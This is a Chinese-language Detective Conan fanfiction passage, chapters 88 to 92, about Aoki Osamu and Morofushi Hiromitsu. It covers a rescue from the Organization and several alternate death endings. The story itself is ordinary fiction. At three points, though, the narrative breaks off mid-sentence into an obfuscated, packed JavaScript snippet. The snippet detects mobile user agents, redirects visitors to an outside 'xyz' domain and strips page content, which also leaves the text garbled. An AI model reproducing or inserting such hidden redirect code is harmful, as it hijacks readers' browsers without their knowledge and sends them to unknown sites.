“……不必。” 还没等两人深入交流,就传来了诸伏景光资料暴露的消息。 赤井秀一眼睁睁看着前一秒还笑意盈盈的青木修瞬间黑了脸,低头低骂了一句。 “帮个忙?” 这时候也顾不上什么保密了,青木修直接打了黑田兵卫的电话让他安排人手接应,并给降谷零也做好准备。 这算是告诉了赤井秀一诸伏景光和降谷零的身份。 和青木修的想法一样,赤井秀一也觉得分出威士忌小组的人是个天才。 逃跑的过程还算是有惊无险,千钧一发之际,青木修直接带着他从天台翻了下去,躲开了一颗致命的子弹。 落地的刹那,诸伏景光还被青木修结结实实护在怀里。 咚……咚…… 抬眼和青木修对视的刹那,诸伏景光听见了心跳,自己如鼓的心跳。 在这生死攸关的时刻,他不合时宜地走了神。 89.第 89 章 月黑杀人夜,风高放火天。 诸伏景光觉得自己这辈子都忘不掉那一晚了。 那本该是针对他的猎杀,但却在青木修的保护下变成了一个平安夜。 直到被公安前来接应的同事们紧急转移,诸伏景光仍然觉得青木修那双灰色的眼睛在看着自己。 “别怕。” “没事的。” “有我在。” 一路上青木修的安抚几乎没有断过。降谷零同样急得如同热锅上的蚂蚁团团转,好几次也想正面出来帮忙都被青木修摁了回去。 “诸伏先生,已经没事了。” 见他还在走神,风见裕也递来了一杯热茶。 诸伏景光道谢接过,“我只是在想,青木哥怎么办。” “青木先生那么厉害,肯定会没事!” 风见裕也同样是青木修的接头人。 诸伏景光只当他在安慰自己,依旧忧心忡忡,悬着的心一直到收到降谷零的短信才放下。 青木修借了FBI的手,杀了那一晚所有见到过他和自己同时出现的成员。 情报组的朗姆迫不及待拆了威士忌小组,把降谷零带回去和他单干,青木修和赤井秀一还是留在行动组,以至于情报往来多了些麻烦。 而这件事仿佛就是打破组织和警方之间平衡的石子,从此以后,组织对待卧底越来越残忍,审查力度也越来越大,恨不得把每个成员说的每一个字都拆开研究,看看背后是不是别有深意。 诸伏景光重新改头换面,在降谷零和青木修背后做起了“影子”工作,危险程度反倒降低了不少。 公安上层对此很是可惜,不过青木修倒是肉眼可见的很高兴。 诸伏景光也很高兴,因为工作内容的变化反倒是给了他更多和青木修接触的机会,以前两个人同在琴酒手下,反而不能有太多明显接触。 和他可以说是一起长大的降谷零最先发现了不对劲,在一次同去警察厅开会的路上直接问了出来。 诸伏景光知道自己骗不过他,索性直接承认了。降谷零在短暂的震惊过后火速选择卖了自己的幼驯染,扭头就把这件事告诉了青木修。 彼时青木修正忙着和组织里目前已知的各国卧底们接洽,试图联合多方的力量,趁着组织的虚弱要它的命,知道这个消息之后只觉得天都塌了。 要不是组织里的任务有保密要求,他连夜跑到长野去给诸伏夫妇跪下的心都有。 与他形成对比的就是诸伏景光,在得知自己的小心思被当事人知道之后索性不装了,大大方方地抓住一切合适的时机跟着青木修。 降谷零表示实在没眼看,最后甚至都和不大顺眼的赤井秀一站到了一条线上。 不过这一点乐趣并不能改变卧底生活的本质。 就在各方终于联合起来的时候,组织突然先一步动了手。 大量卧底和接头人员被发现并杀害,一时间整个联合行动组人心惶惶,还在组织的卧底们同样内心不平静,却不得不强装镇定继续作为代号成员的生活。 双方进入了微妙的对峙,都在等待对方露出弱点的刹那。 然而所有涉身其中的人都没想到,最后的决战会爆发于一次偶然的遭遇战。 原本的计划只是突袭一个组织的小型实验室,却不想正好和前来运送实验品的押运队撞上,两方人当场爆发了激烈的枪战。 由于准备不足,联合行动组最后也不过是惨胜,虽然最后还是拿下了实验室,但还是让一小股人带着几名伤员逃跑了。 ——其中就有诸伏景光。 消息传到青木修的手上时,距离诸伏景光被带走已经过了十二个小时。 还没等他做出应对,新的麻烦也找上了他: “杜林标”的血液和多年前被警方救走的一个实验体相匹配。 他果断给降谷零和赤井秀一两人留下了信息,自己则假意被组织的人带走——他听到那些人说,诸伏景光也在那里。 哪怕没有联合行动组的及时支援,也不妨碍青木修在BOSS的老巢“大闹天宫”。 他在顺利进入黄昏别馆后就反杀了押送他的人,夺了他们的武器,颇有一种掘地三尺也要把诸伏景光找出来的架势。 肾上腺素暂时屏蔽了青木修对于疼痛的感知,他只是麻木地杀掉所有拦路的人——他现在满脑子都是上一次见面时,诸伏景光开玩笑似的那句话: “青木哥,任务结束之后,你能我试试吗?” 当时自己是怎么回应的? 青木修回忆着,自己似乎只是笑了下,什么也没说。 等到降谷零等人处理好基地那边,风尘仆仆赶到时,青木修已经找到了BOSS和诸伏景光。 那位“不老不死”的怪物被他简单粗暴的捆了起来,像是扔杂物一样扔在了一边。 这里的人似乎料准了会有人来救诸伏景光,埋伏了不少人。然而他们除了进一步激怒青木修之外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680015|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有发挥出任何用处。 诸伏景光被青木修大力摇醒的时候,他身边倒了一片尸体。 “景光!景光!” 入眼的是青木修那双熟悉又安心的灰眸。 在诸伏景光记忆中那个临危不乱的青木哥眼睛通红,眼眶里布满了血丝,浑身上下带着冲鼻的血腥味,常年不曾摘下的易容也坏了,一道伤口几乎贯穿了他的半边脸颊。 “青木哥……” 听到诸伏景光的声音,已经是强弩之末的青木修膝盖一软,直接跪在了地上。 “没事了……” 他慌乱地重新站起来,把诸伏景光稳稳放在背上。 “别睡……景光,答应我别睡……我答应你了……我答应你了……” 青木修的声音发着抖,沾上了哭腔。 和大部队重逢的时候,两个人已和血人无异,从拐角冲出来的时候差点没把和他们迎面撞上的几个行动组成员吓到。 青木修放下诸伏景光,准确无误地从队伍里找到了降谷零和赤井秀一,交代了BOSS的位置。他说完就准备带着诸伏景光继续朝外走,却被降谷零带人摁住了。 “风见,带一支小队过来接应。” 一旁的赤井秀一拍拍青木修的肩膀,示意他低头看看自己。 直到现在青木修才后知后觉地感受到了疼痛。 他有些茫然地抬手碰了碰自己的脸,低头只看见了满手的血。 这是他失去意识前看到的最后画面。 “景光!” 他是被刺眼的灯晃醒的。 “唉唉唉醒了醒了!” “别动别动!” 还没等他完全坐起来,就被人七手八脚重新摁了回去。 “青木先生。” 还好被医生们寄到角落的风见裕也在青木修动手之前吱了一声,提醒他自己现在所处的地方。 “风见?” 他顾不得半张脸火辣辣的痛,“景光呢?他怎么样了?!” 风见裕也艰难地挤过来,“诸伏先生就在您隔壁,降谷先生回去开会了。” 青木修悬着的心终于放回了肚子,等到医生护士们一走,他就跳下床跑去了隔壁。 诸伏景光还在睡着,一旁的监护仪显示着他生命体征平稳。 “呼……” 青木修露出了一个如释重负的笑,俯下身轻轻在诸伏景光额头上留下一吻。 “景光,回家了。” 90.青木修单人死亡if 1 诸伏景光在抢救室外守了快一天的时间。 他原本还想强撑着返回工作岗位,却被降谷零和赤井秀一联手摁在了医院。 “好好休息,hiro,就当是帮我等等消息。” 降谷零的手搭在诸伏景光的肩膀上,半是劝说半是强硬地把人按在抢救室外走廊的长椅上。 “那边的工作有我……”他扭头看了一眼站在旁边干嚼烟草的赤井秀一,“还有这个FBI帮你,放心吧。” 收到消息的诸伏高明也匆匆从长野赶来,踏进走廊的瞬间就看到了颓然坐在门外的诸伏景光。 “景光。” 诸伏景光听到了熟悉的声音,动了动已经僵硬的身体,动作有些迟缓地转过头。 “零已经把大致经过告诉我了。” 诸伏高明走到弟弟的身边坐下。 这个时候任何的安慰都有些过于苍白无力,他只是静静地坐着,让弟弟能够靠着自己。 “哥……” 诸伏景光身子一歪,几乎把所有的重量都放在了诸伏高明身上。 他想要有一些反应,却发现身体已经完全不受使唤了,就算是曾经出任务到力竭都没有过这种感受。 诸伏高明侧头看着弟弟,缓缓揽过诸伏景光的肩膀。 不管最后的结局是什么,他都会陪着弟弟一起面对。 “警官先生?” 抢救室的大门打开,走出来一个医生。 诸伏景光喉结上下滚动了几下,几乎是用一种哀求的目光看着医生。 后者注意到诸伏景光的眼神,很不平常地躲闪了一下。 诸伏景光心里当即就“咯噔”一声,人有点傻了。 “里面的那位先生怎么样了?” 诸伏高明一手支撑住诸伏景光不让他摔倒,自己站起来看着医生。 “是这样的……” 医生摘下了口罩,露出一张疲惫而失落的脸。 “很抱歉,我们尽力了。” 诸伏景光原本正要顺着诸伏高明的力道站起来,闻言脚下一软,又重重跌了回去。 “我们可以进来吗?” 诸伏高明很是费了些力气才把弟弟拉起来,在得到了医生的应允后进入了抢救室。 抢救室里的温度比走廊还要第一点,诸伏景光把手放在嘴巴前哈了一口热气,确保自己的手暖和一点之后才去触碰青木修。 抢救室里的医生还没来得及给青木修搭上白布。 他的嘴唇完全没了血色,那双灰色的眼睛还睁着,只是彻底没了光,有些涣散。 “青木……” 青木修的脸冰凉,诸伏景光仍旧在尝试用自己的体温温暖他。 “景光……景光!” 诸伏高明一扭头,发现诸伏景光已经在倒气了,连忙把他架起来,强迫他站直保持呼吸。 “哥……” 诸伏景光终于把视线移回了诸伏高明身上。 诸伏高明这才发现这么短短两分钟的时间,诸伏景光双眼通红,眼睛一眨不眨地睁着,眼泪却不断地向下流淌着。 “哥……是我害死了他……” 诸伏高明几次试图开口都没能成功——巧舌如簧的孔明先生也不知道现在应该说些什么合适。 “那个……警官……” 站在一旁的医生小声开了口,吸引了两人的注意力。 “中间这位先生有短暂恢复过意识,留下了几句话。” “他说了什么?!” 诸伏景光瞬间就来到了医生的面前,表情恐怖的仿佛要吃了眼前的人。 医生被他吓得后退了一步,“这位警官……你先冷静一下,抢救室有监控。” “去、去查监控!” 诸伏景光激动地话都有些吐字不清了,几个字来回说了两三遍才把话说清楚。 “那这边……” 医生的视线瞟向手术台上的尸体。 “……让我再待一会儿吧。” 诸伏景光回头看向兄长,“哥,麻烦你去通知一下zero……我想单独和他待一会儿。” “那好,有什么事及时通知我。” 诸伏高明离开之前,还贴心地把里面的其他人也一起清了出去。 身后的脚步声越来越远,这一方小空间重新归于寂静。诸伏景光再也支撑不住,跪倒在手术台前。 “青木……” 他死死握住青木修的手,手背上的青筋都出来了。 只可惜躺在那里的人再也无法给他想要的回应了。 “你说话不算话……” 诸伏景光的眼泪浸透了他自己的衣服,和青木修那件衣服上的血混在了一起。 “你这个家伙……你怎么敢……你怎么能……” 他絮絮叨叨念了很多他自己都不知道到底在说什么的东西,只是归根结底变成了他一个人的独角戏。 这里只有一个无法给出应答的听众。 “不应该就这样结束的……” 青木修和他不应该就这样结束,至少他自己的人生不该到此为止。 明明组织已经铲除了,公安也已经接纳他了,眼看着以后的生活只会越来越好,怎么就…… 偏偏是这样。 青木修的眼睛始终合不上。 医生试过,诸伏景光试过,降谷零试过……几乎所有和他认识的人都来试过,但就是合不上。 这几乎有些不正常了,到最后还是警察医院里一位临近退休的,老医生找到了诸伏景光。 “……诸伏警官,我只是随口提一句,你听听就是了。” 诸伏景光强撑着精神,摆出一副洗耳恭听的样子。 “我的一位师傅说,死去之人的眼睛合不上,是因为有遗憾……唉唉唉诸伏警官?!” 老医生也没想到一句话会让诸伏景光有这么大的反应。 “……谢谢您。” 诸伏景光保持着克制把老医生扶到一边坐下,转头冲出了办公室。 后来他也看了那天抢救室的监控。 青木修中途其实不止一次清醒过,但只有最后一次维持了一段时间。 参与抢救的医生们发现他恢复意识之后很惊恐,麻醉医生上来就要加麻醉,不过被青木修打断了。 “……景光……” 他的眼睛全程看着虚空,眉宇间还带着歉意。 “对不起……” 除了正在主刀的两位,抢救室里的其他人都停了下来。 “对不起……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694165|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他的眼睛几乎快要阖上,却又强打起精神睁开了。 “我失约了。” 他最后还说了几个字,不过当时已经是油尽灯枯,没发出声音来。 那段几秒钟的视频诸伏景光来来回回拉了无数遍,到后来闭上眼睛都是那副场景。 他最后终于辨认出了青木修最后那几个字说的是什么: 诸伏景光,我爱你。 这句话将成为诸伏景光终身摆脱不掉的噩梦。 他像是故意折磨自己似的,把自己关在房间里一遍又一遍看着那段视频。最后还是诸伏高明找来了降谷零,直接破门把他放倒,这才结束了他的自我惩罚。 “hiro……你清醒一点!” 降谷零看着颓废的诸伏景光,狠狠拍了他一下。 “青木修愿意看到你这个样子吗?他愿意看到你现在这样?!” 诸伏景光抬眼看了下他,叹了一口气,肩背垮了下来。 “……尸检报告,致命伤是我开的那一枪。” 降谷零一时间无言。 这件事青木修有错吗?没有,他是组织罪行下的受害者。 那诸伏景光有错吗?也没有,他是一名身处危机四伏任务现场的公安。 两个人谁都没有错,甚至连公安内部的会议也没有给他任何批评。 毋庸置疑,他们俩谁都没有错。 可是为什么结果会变成这样子? 无论是诸伏景光还是其他的参与者,没有一个人想得通。 但不管诸伏景光如何难过,青木修的遗体还是火化了。 生前也还算挺高的一个人,最后只有这轻飘飘的一捧灰,甚至连那个盒子都没有装满。 诸伏景光端惯了狙击枪的手,竟会觉得一个小小的盒子有千斤重,险些从手里摔了出去。 “青木修……青木修……” 墓地盖上,坚硬而又冰冷的石板彻底隔绝了诸伏景光的视线。 “……” 墓地是他们几个人一起选的,地方还挺不错,天晴的时候有很好的阳光,也很僻静,不会有什么人来惊扰他。 一月一日,元旦。 “三十三岁生日快乐。” 一个小小的草莓蛋糕上插了蜡烛,放在青木修的墓碑前。 他们当初甚至没能找到一张正儿八经的照片来做遗照,翻遍了箱底儿,最后还是赤井秀一送来了一张从青木修跟着他去FBI时做记录的视频里截下来的照片。 诸伏景光拿到照片的时候,又沉默了很久。视频里的青木修状况也不怎么好,但至少脸上还带着一丁点笑,能看得过去。 “生日快乐。” 来的人不多,都是和青木修还算是相熟的人。 诸伏高明就在诸伏景光的身后,他没急着上前,而是低头先默念了一串很长的祷词。 他的声音并不算小,但是语速很快,诸伏景光几乎没有听清楚。 小小的一方墓碑前摆着好几样生日礼物——其实他们发现自己连青木修真正喜欢什么东西都不太清楚,只是根据他的一些生活习惯推断了一番。 直到所有人都放完了礼物,诸伏高明才把诸伏景光重新推到最前方。 “青木修,祝你自由。” 91.青木修单人死亡if2 “诸伏景光……” 青木修蜷缩在房间的角落里,忽然叹了口气,低声念了几遍诸伏景光的全名。 他突然觉得很累很累,这种无望的坚持似乎什么意义都没有。 乌丸莲耶就在他旁边不远处的床上躺着,基本上没有任何行动能力,现在想杀了他简直轻而易举,外面的左山先生等人也并非无可奈何。 只是…… 青木修把头深深埋进膝盖。 他好累啊,已经没有力气再去做别的事情了。 病房里只有监护仪规律的嘀嘀声,青木修尽可能把自己团紧一些,想要逃避这里刺骨的寒冷。 自己似乎没有那么爱诸伏景光了。 他忽然被自己这个念头吓了一跳,差点直接从地上蹦起来。 但是冷静下来之后想了想,发现这似乎是真的。 他不爱诸伏景光了。 青木修有些怔愣,有些茫然,因为这个发现感到惶恐。 他试图再去找一点证据来证明自己依旧爱诸伏景光,但是他最终还是没办法再欺骗自己下去了。 飞蛾扑火至少也会有死亡前的温存,那他呢?他又得到过什么? 胳膊上抽血的地方还在隐隐作痛,青木修摸了摸那个针眼,发现自己貌似除了伤害之外什么也没有得到。 这么说也不对,还有那个公安虚假的爱。 搭在针眼处的手掌越收越紧,最后五指都深深嵌入了皮肉里,留下了鲜红的血。 血液划过留下的冰凉触感让青木修回了神。他伸出舌尖,轻轻舔了下指尖上残留的血液。 和当年同诸伏景光一起出任务时,哪滴溅在嘴角的血液并无差别,都是一样的温热腥甜。他的血液的特殊之处在哪里呢?为什么偏偏就非他不可? 青木修站起来,一步一步走向乌丸莲耶。 这位在组织传闻中被各种神秘之词极尽形容的老者,现在正被青木修居高临下的凝视着。 他的呼吸是那么的轻浅,苍老的面容让人连辨认出他五官的位置都有点困难。 青木修伸出双手,虚虚搭在了乌丸莲耶的脖颈上。 只要他再用力一点……一点点,就能杀了这个人。 到时候就算左山先生带着人进来抢救也回天乏术。 但是青木修最终还是打消了这个念头。 留着乌丸莲耶,或许对诸伏景光还有用。 他重新坐回了那个冰冷的角落。 至少这几天已经骗过了左山先生,让对方相信自己是真的失忆了,对方对他的戒备已经放下了不少,对后续的打算有不少好处。 只是今天怎么? 他估算了下时间,觉得似乎有哪里不对。 已经到了左山先生来取血的时间,怎么今天还没来? 不过他没有什么奇怪的癖好上赶着给人送血,不来就不来。 这一点小小的异常被青木修当做一个无伤大雅的小插曲忽略了。 直到病房外墙突然被人炸开,他才意识到原来是这里出事了。 看来人的装束,应该是公安。 他本想站起来给门口几位还有点犹豫的公安们打个招呼,可是一想到即将见到诸伏景光,他忽然没了力气,索性换了个舒服些的姿势,盘腿坐好。 与他形成鲜明对比的是门口的那几位。 “辛苦了,这个就是乌丸莲耶。” 他冲着病床的方向一指,示意那几人自便。 “你是谁?” 并不认识青木秀的公安瞬间警戒起来。 青木修用手把脸撑着,静静看着他们,“我不会伤害你们——诸伏景光在哪里?” 他一副熟人模样让几位公安更犹豫了。 走廊外传来了打斗的动静和枪声。 青木修准确从嘈杂的声音里辨认出了属于诸伏景光的那一个,他“腾”一下站起来,向着门口冲过去。几位公安下意识要拦,但是都被他灵巧避开。 “诸伏景光!” 青木修从侧方抱摔了一个人,直接冲到了诸伏景光眼前,速度之快,吓得没看清来人的降谷零差点就扣板机了。 “青木……青木!” 诸伏景光动作一顿,紧接着是眼睛都睁圆了的狂喜。 “你还好吗?你怎么样?他们有没有对你做什么?” 他一连串的问题炮弹一样砸了出来。 与他的兴奋形成对比的是青木修的平静。 “还好……我没事。” 青木修有些悲哀地发现自己忽然没有那么多话想要对诸伏景光说了,就像是遇见了一个很久没见过面的普通朋友,除了点点头互相打个招呼也不知道该做些什么好。 “乌丸莲耶就在那里。” 他指向自己出来的那个房间,“你们的人已经找到那里去了,如果要移动乌丸莲耶,最基础的维生设备别摘了,他现在很虚弱,随时都有可能死。” “死”这个字狠狠触动了诸伏景光的神经,他下意识抬头看了眼青木修。 此刻青木修的脸和嘴唇已经不能用苍白虚弱来形容了,有一股死气包裹着他。 诸伏景光狠狠哆嗦了下,连忙把这个不祥的念头抛出脑外。 青木修不会有事的。 不知道是在安慰谁,他一遍又一遍在心里重复这句话。 “小心,这边和这里,”青木修的指尖在两个方向点了点,“一个是实验室一个是办公室,里面应该有不少你们用得上的东西,还有一些人。” 他走在诸伏景光身后,看着男人后脑勺柔软的发。 降谷零指挥着其他人去破门,诸伏景光则是去检查乌丸莲耶的情况。 其实也没什么好检查的,前一批进去的那几个公安已经把这间病房完全控制了起来,乌丸莲耶完完全全出于他们的监视之下。 诸伏景光看清床上老者的脸的刹那,结结实实被恶心了一下。 和青木修的第一感觉一样,他只觉得眼前这人不应该称之为一个“人”。 仿佛只是一团还有呼吸的腐肉,无时无刻不在散发着死亡的气息。 这样的人,活着还有什么意义呢? 青木修已经看过了,没什么触动,只是沉默。 在场的行动人员都不知道该说什么好,他们竟然一直都在和这样一个怪物斗争。 有些嘲讽。 现在所有人的注意力都在乌丸莲耶身上,一时间疏忽了防备。 青木修余光瞥见门口处似乎有什么东西在动,抬眼发现不知道什么时候爬过来了一个没死透的,两人视线相错的瞬间,对方已经扣下了板机。 目标很明确,是诸伏景光没有防护的头部。 青木修身体比脑子反应的还要快,反手把诸伏景光向着一侧推了一把,自己猛地上前一大步。 主妇金光还没意识到发生了什么就被青木修重重推开,撞在乌丸莲耶的病床上,差点没坐上去。 把他注意力拉回现实的是一声子弹入肉的闷响。 入眼是刺目的红。 由于弹道是斜的,青木修那一步正好让子弹击中了他的胸口处。 其他人迅速把那名枪手击毙,纷纷想要围过来,却被诸伏景光挥手示意退开。 “伤到……上到哪儿了?” 他手忙脚乱地检查青木修的伤口,那件单薄的病号服轻松被揭开,诸伏景光目及,瞬间顿住。 ——子弹打在了青木修的左胸。 “我有防弹衣……你干什么……” 他很想说青木修没必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14706086|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要为自己这么做,不过青木修微微抬起手阻止了他的解释。 “他冲着你的头开枪。” “……” 诸伏景光一下子哽住,忙不迭寻找可以用的工具帮青木修止血。 失血带来的寒意实际上对青木修影响并不大,他在这里原本就已经够冷了。 但是在诸伏景光看来,青木修失温的速度快的可怕,眨眼的功夫手就变得冰凉。 “别慌……没事的……” 他嘴上这么说,但他自己都不确定青木修是不是真的没事。 而且青木修现在平静的让他觉得异常。 不应该是这样的……青木修不应该是这个样子的…… 苍白的脸上笼罩了一层阴郁的死气,青木修用力地眨眨眼,“来不及的。” “胡说!” 诸伏景光眼睛都红了,手上的动作却是半点没停。 “别为我伤心。” 青木修吐词还算是清晰,仅仅听起来有些中气不足,忽略他胸口的枪伤,还真能以为他没什么大碍就是有点虚弱。 “不可能!我答应过你……要带你去看看没有组织的未来,我、我……” “诸伏景光,”青木修打断了他的话,“我不爱你了。” 诸伏景光猛然抬头看着青木修! 后者神色平静,似乎只是在陈述一个与自己毫无关系的事实。 “我已经不爱你了,我只是……只是没办法眼睁睁看着你死,我还欠着你两条命。” 诸伏景光攥着他衣服的手逐渐缩紧。 “你在说什么?” “我不爱你了。” 青木修移开了自己的目光,“我欠你人命,没法看着你送死。” 诸伏景光闻言扯开了一个比哭还要难看的笑,“知道欠我还不撑住吗?!你死了欠我的拿什么还啊?” 无论他再说什么,青木修都不接话了。 事发后就有人第一时间通知了在外的救护人员,降谷零带人把实验室和办公室炸开之后暂时把这里交给了赤井秀一,自己来乌丸莲耶这边。 “你跟着他去吧。” 他拍拍诸伏景光的肩膀。 “hiro这里有我呢。” 在降谷零的劝说下,诸伏景光还是跟着一起上了直升机。 青木修全程都保持着意识,冷淡地看着身边忙得团团转的医护人员。诸伏景光就坐在一边,抓着他的一只手,试图捂热一些。 “肾上腺素!” “血氧上不来……” “快快快!血压又掉了!” 不知道过去了多久,青木修忽然侧过头,诸伏景光立刻站起来凑近他。 “别为我流泪。”青木修的声音只剩下气音了,“其实……我也还想活着还你,但好像没办法了。” “医生!” 诸伏景光捂嘴的手慢了一步,只得转头大声叫医生,“怎么回事?!” 医生露出来的眼睛也写着无奈与遗憾。 “马上就要到了,就看青木先生能不能再坚持一下。” 所有人都希望青木修能够再多坚持一下下,但他们没想到,青木修已经足够累了,这一路上更是耗尽了他最后一丝心力。 等到降谷零和赤井秀一忙完现场,在警察医院遇上了同样收到消息匆匆赶来的诸伏高明。 诸伏景光没什么大碍,青木修死了。 “他……” 他们在急诊找到了被几个医生护士七手八脚摁住的诸伏景光。 “他说,他不爱我了……但是他其实也挺想活着的。” 诸伏景光的眼泪大颗大颗落下来,“他说他……实在是,没有办法了。” 那一句“还想活”竟然变成了他最后的遗言。 92.双死if 青木修眼前一片混沌,他不太清楚自己在这个地方待了多久。 每天都是重复的抽血、实验……来来往往的几张脸他都熟悉了,只不过不知道除了左山先生以外其他人的名字罢了。 各种各样的副作用总是来的猝不及防,就像今天,他一睁开眼就发现自己看不大清楚,只有模糊的色块。 左山先生很快发现了他行动上的异常,但没有放在心上——行动不便能大大降低青木修逃跑的可能。 这些实验员把他送回房间就离开了,青木修摸索着回到自己最熟悉的角落里,试图给自己一些安全感。 在逐渐适应眼前的混沌之后,他的注意力很快恢复,敏锐地意识到今天的不寻常。 按照惯例,给他抽完血之后大概半个小时,最多不超过一个小时,他们就会来给乌丸莲耶输血。 今天等待的时间绝对不止一个小时。 青木修怵然打起戒备,警惕地后背靠墙,摸索趁手的工具。他屏住呼吸,凝神倾听,不放过任何一点声响。 最明显的是那些连接在乌丸莲耶身上的监护仪发出的声音,紧接着就是他自己和乌丸莲耶两个人一轻一重的呼吸声。 似乎再没有别的声音了……不对! 青木修忽然意识到什么,贴着墙走了几步。 果然,能隐约听到一点点叫喊声! 以左山先生的习惯,他绝对不会允许手下的人发出这种“噪音”。换一种说法,一定是这里出事了! 青木修第一时间就想到了诸伏景光。 事实也和他猜想的一样,诸伏景光等人正在外鏖战,在注意到这里的安保力量异常充足之后,他们就料到自己应该是找对了地方。 交火的双方都在不停呼叫己方的支援,不一会儿,并不宽敞的走廊就布满了人。有些是受伤或者死亡的,有些则是被叫来帮忙。 诸伏景光早已满头大汗,汗水顺着头发流进了眼睛,辣得他眼睛几乎睁不开,只能两只眼睛交换着眨眼。 他和降谷零最开始带下来的那批人基本上已经全部轮换过一次了,就他俩还在最前面硬撑着。 他不敢倒也不能倒,现在比的就是哪一方能坚持到最后。 又一次打空了手中的弹匣,他一手卸弹匣顺道用空弹匣反手抡了一个试图偷袭降谷零的人,另一手从地上一个人的腰间抽了一个弹匣装上,全程不超过三十秒。 “hiro他们的支援快见底了!再坚持一下!”身后传来了降谷零带着血气的嘶吼。 诸伏景光咽了下口水,只觉得自己整个呼吸道也是火辣辣一片,干得冒火。 他们占据的地方越来越多,最后把剩下的人都逼进了死角。 虽然有防弹衣在身,可是子弹打在身上带来的冲击力也是结结实实没办法化解,不知道从什么时候开始,诸伏景光一呼一吸间都开始犯痛,想来应该是哪一颗子弹把肋骨打骨裂了。 他深吸了一口气,大概估摸了下受伤的位置,发现暂时无碍之后便没有多管,专心致志处理起眼前最后负隅顽抗的一伙人。 这时候他们已经能分出一点人手来检查这条走廊了——走廊尽头并没有房间,那么只能藏在走廊两侧。 “诸伏警官!这里有空腔!” 在得到授意后,负责的行动人员小心地安置好炸药炸开了外墙。 放眼望过去,是一张似乎躺着人的病床。 几名行动人员对视一眼,两两一组背对背准备进入——突然从斜里扑出来一个人,把最前面的两个人一次性扑倒! 其他人见状下意识就要扣动板机,却被诸伏景光一声咆哮喝住。 “不许动手!” 他们动作一顿,随即面面相觑,仿佛不理解长官为什么会给出这样的命令。 还没等他们琢磨明白,诸伏景光已经大步上前把地上的人先拉了起来。 “青木!你没事吧!” 青木修浑身紧绷的肌肉在辨认出来人是诸伏景光的瞬间放松。 他看不大清楚诸伏景光的脸,只能凭着声音判断位置。 “我……我没事。” 他完全没有想过自己现在的脸色究竟有多么差,诸伏景光一听就知道他这是不想让自己担心随口胡诌忽悠人,但也没有多说什么,只是大力抱抱青木修。 “没事了……没事了。” 青木修忽然觉得自己的鼻尖有点泛酸,一种名为“委屈”的陌生情绪在胸腔里泛滥开来。 “一切都结束了。” “那个就是乌丸莲耶。” 青木修凭着记忆朝病房的方向指了下,“他现在情况不太好,你们如果要移动他最好保证最基础的维生设备别停。” 他指的方向还算准确,诸伏景光顺着方向看着那张病床,一时间心中五味杂陈。 就是这样一个为了一己私欲的人,毁了无数家庭,也没让自己好到哪里去。 像一团腐肉一样苟且偷生有什么意义? “去整理一下乌丸莲耶身边的仪器。”他点了两个稍微懂一些的人进去做准备,接着牵着青木修找到了正好处理完最后几个人的降谷零。 “zero,我找到青木修了。” 降谷零一听就知道诸伏景光现在只是表面克制,上翘的尾音忠实地暴露了他心情很好。 “这里还有实验室和办公室,也在墙后。” 青木修适时地补充上一句,降谷零颔首表示收到,在对讲里问了句赤井秀一他们的情况,和诸伏景光一起组织人手去寻找青木修所说的房间了。 尽管青木修已经极力伪装,但诸伏景光还是发现了他动作上的迟缓,索性把他拉到自己的身后跟着自己跑。 行动人员根据乌丸莲耶病房大小估算了一下左山先生办公室和实验室的大致位置才正式动手。 随着一阵碎石飞溅,两处爆破点有一处找对了地方,还有一处似乎还有一点偏差。 诸伏景光让青木修找个安全的地方躲着,自己重新换弹带着人潜进去,降谷零则是带着另一队人继续寻找突破口。 青木修莫名觉得有点不安,拽住了诸伏景光的衣角,想让他带着自己一起进去。 “没事的,保护好你自己。” 诸伏景光在他额头上落下一吻,转身带着人贴墙进入。青木修心中的不安感越来越强烈,没有听他的话,而是就在爆破口的位置躲着,耳朵竖起,所有的注意力都在房间里。 “轰!” 又是一声爆破,这一次降谷零顺利地找到了另一处实验室。 守着这边的青木修瞳孔一缩,闪身冲了进去。动作太急,还差点被绊了一下。 还有一声枪响混杂在方才的爆炸里。 哪怕眼前全是斑驳的色块,他还是准确地找到了诸伏景光。 “怎么回事?” 青木修一个踉跄在诸伏景光面前跪倒。 他的视野里出现了大片的红色。 “快去叫医生啊!” 他看不清,害怕贸然动手只会给诸伏景光伤上加伤,直接随手拽了一个行动人员,劈手夺过对方的枪,“愣着干什么?!快救人啊!” 此刻距离枪响还不到一分钟,左山先生的办公室里充斥着枪弹声。 青木修视力不行,只能凭借听力找到开枪的方向,然后拉近自己和对方的距离,一枪毙命。 